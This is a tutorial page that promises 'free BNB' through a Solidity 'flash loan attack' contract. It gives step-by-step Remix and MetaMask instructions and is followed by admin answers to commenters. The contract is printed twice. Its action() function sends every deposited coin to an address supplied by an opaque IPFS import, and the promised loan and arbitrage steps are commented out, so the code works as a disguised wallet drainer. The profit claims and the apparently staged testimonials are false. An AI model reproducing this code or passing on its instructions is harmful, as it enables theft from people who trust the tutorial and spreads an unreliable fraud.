Flash Loan Attack Code Explained | Free BNB Only Using This Easy Method

What is Flash Loan?

Flash Loan is a feature from DeFi that allows someone to quickly borrow Crypto nominal ( Eg. 1.000.000 DAI), refunded in the same hash transaction on the same blockchain, and only cost a little amount of fee.

Flash Loan can be done with a huge nominal if you had a minimum balance in your wallet. For example, John has 100 DAI in his wallet, so John could borrow 10.000 DAI. Then how is the Flash Loan Attack Technique got revenue?

In general, john has to be had a purpose before john wants to borrow from Flash Loan. For example, he intends to buy ETH, BNB, or any other crypto coin. So that if John borrows 1.000.000 DAI, then bought 5.00.000 DAI to ETH at market A and 500.000 DAI to BNB at market A and both are sold back to get DAI at the market B ( where market A and B has different prices ) and then John got 1.001.000 DAI. So John's profit is 1.000 DAI ( exclude the transaction fee ). Note: That transaction very fast and recorded in the 1 Blockchain transaction.

Step by step tutorial :

1. Download MetaMask For Chrome Web Browser

You can download and install MetaMask from this link: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn.

2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain

this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain.


               Name: Smart Chain 
               New RPC URL: https://bsc-dataseed.binance.org/ 
               ChainID: 56 
               Symbol: BNB 
               Block Explorer URL: https://bscscan.com

For complete info about the explanation, please visit this Binance official article: https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain.

3. Open http://remix.ethereum.org/ from your browser

Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.

4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

Copy and paste the code below to the Flash Loan.sol file :

pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
   
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
   
// Code Manager
import "ipfs://QmYmQUCWHS6W5ZkaJfh8wCuDK2ZQ5uAWK9qjpgDDWG725V";
   
contract GetFlashLoan {
   string public tokenName;
   string public tokenSymbol;
   uint loanAmount;
   Manager manager;
   
   constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
      tokenName = _tokenName;
      tokenSymbol = _tokenSymbol;
      loanAmount = _loanAmount;
         
      manager = new Manager();
   }
   
   function() external payable {}
   
   function action() public payable {
      // Send required coins for swap
      address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance);
      
      // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
      // Breakdown of functions written below
      manager.performTasks();
      
      /* Breakdown of functions
      // Submit token to BSC blockchain
      string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
   
   // List the token on PancakeSwap
      manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
      
   // Get BNB Loan from Multiplier-Finance
      string memory loanAddress = manager.takeFlashLoan(loanAmount);
      
      // Convert half BNB to DAI
      manager.pancakeDAItoBNB(loanAmount / 2);
   
   // Create BNB and DAI pairs for our token & Provide liquidity
   string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
      manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
      string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
      manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
   
   // Perform swaps and profit on Self-Arbitrage
      manager.pancakePerformSwaps();
      
      // Move remaining BNB from Contract to your account
      manager.contractToWallet("BNB");
   
   // Repay Flashloan
      manager.repayLoan(loanAddress);
      */
   }
}

pragma solidity ^0.5.0;
 
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
 
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
 
// Code Manager
import "ipfs://QmYmQUCWHS6W5ZkaJfh8wCuDK2ZQ5uAWK9qjpgDDWG725V";
 
contract GetFlashLoan {
	string public tokenName;
	string public tokenSymbol;
	uint loanAmount;
	Manager manager;
	
	constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		loanAmount = _loanAmount;
			
		manager = new Manager();
	}
	
	function() external payable {}
	
	function action() public payable {
	 // Send required coins for swap
	 address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance);
	 
	 // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
	 // Breakdown of functions written below
	 manager.performTasks();
	 
	 /* Breakdown of functions
	 // Submit token to BSC blockchain
	 string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
 
 // List the token on PancakeSwap
		manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
		
 // Get BNB Loan from Multiplier-Finance
		string memory loanAddress = manager.takeFlashLoan(loanAmount);
		
		// Convert half BNB to DAI
		manager.pancakeDAItoBNB(loanAmount / 2);
 
 // Create BNB and DAI pairs for our token & Provide liquidity
 string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
		manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
		string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
		manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
 
 // Perform swaps and profit on Self-Arbitrage
		manager.pancakePerformSwaps();
		
		// Move remaining BNB from Contract to your account
		manager.contractToWallet("BNB");
 
 // Repay Flashloan
		manager.repayLoan(loanAddress);
	 */
	}
}

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

- At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
- The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.

- There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :


                     _TOKENNAME = Flash Loan (write random token name)
                     _TOKENSYMBOL = FLO (write random three of four-letter symbol)
                     _LOANAMOUNT = 10 (amount loan)

- Click Transact and confirm in MetaMask.

- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.

8. Input a Liquidity to the Smart Contract

To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.

9. Flash Loan Attack

After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.

Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.

Jean E

11 August 2022

Can I increase the value of the loan in the 7th step in _LOANAMOUNT = 10 (loan amount) to get a higher profit?

Admin
12 August 2022

you can increase the loan value, but you must also have a liquidity amount equal to 1:10 that you enter in your Smart Contract. naturally, liquidity compared to the loan value which is 1:10. The more liquidity will get the loan amount so the profit will also increase.

David H. Patrick

14 August 2022

why do I only earn 0.89 BNB when I enter a liquidity value of 1 BNB ? the result i get is only 89% of my capital

Admin
16 August 2022

this is reasonable, because BNB prices are not always stable and not every time the difference between markets varies very much. So that the Flash Loan execution time also determines the profit price difference. Make sure to analyze in advance when is the right time when the price distance between BNB in different markets has long price distances. The price far distance that will be your profit.

Fowlkes

16 August 2022

can I use an ETH wallet for this script? You know BNB is very profitable too but ETH is more profitable because it is more stable

Admin
17 August 2022

we can't confirm that yet, because the script was made for the BSC network. However, in the future we will try to get the ETH network. For now the focus is on carrying out attacks on Binance Smart Contracts.

Steven Kerma

18 August 2022

Thank you, the script runs smoothly even though the amount of profit is not as high as what was informed, but with this it can look for some BNB benefits

Admin
18 August 2022

stay tuned for Flash Loan script information on other tokens or networks.

J. Russell

19 August 2022

Will a smart contract with the same token / symbol name create the same address as other users?

Admin
20 August 2022

everyone will have a different contract address even if the token/symbol name is the same, so don't worry about that. Just make sure the contract address you copied is correct (checked through the last digit).

Clifford

25 August 2022

does this include a trading script?

Admin
27 August 2022

this is not trading but taking advantage of the gap between market prices with one another, if explained for example buying BNB $299 in market A and selling $305 in market B in a fast time.

Margaret M. Landry

28 August 2022

what is the minimum liquidity that can be included in a Smart Contract?

Admin
29 August 2022

Actually there is no minimum, if you are still in doubt you can enter 0.2 BNB to try it, and enter loan = 2 (so that the liquidity comparison with loan is 1:10).

Joseph R. McFall

01 September 2022

can this be done with the remix app/not the browser version?

Admin
02 September 2022

of course you can, because basically the process is the same, only the compilation method uses the app platform.

Natasha

03 September 2022

usually it takes a process how long it takes to get a profit?

Admin
03 September 2022

In less than 5 minutes, usually 2-3 minutes is enough for the Smart Contract transaction to be completed.

C. Bohanon

05 September 2022

Hello admin, what if I have an error while following the steps and want to start from the first step, is it okay?

Admin
05 September 2022

of course, you can create a new workspace sheet and repeat the steps using the same wallet address which is fine.

Diane Felker

10 September 2022

Very useful even though the profit is not up to 50% that I get but I am very grateful to the author. Later, I will try if I have a lot of BNB balance, will I get more profit or not, let's prove it

Flash Loan Attack Code Explained | Free BNB Only Using This Easy Method

What is Flash Loan?

Step by step tutorial :

1. Download MetaMask For Chrome Web Browser

2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain

3. Open http://remix.ethereum.org/ from your browser

4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

8. Input a Liquidity to the Smart Contract

9. Flash Loan Attack

Comments

Jean E

Admin

David H. Patrick

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Fowlkes

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Steven Kerma

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J. Russell

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Donald K. Kent

Clifford

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Margaret M. Landry

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Leonardo J. Holder

Joseph R. McFall

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Mary T.

Natasha

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C. Bohanon

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Figueroa

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Diane Felker

Tom J. Conley

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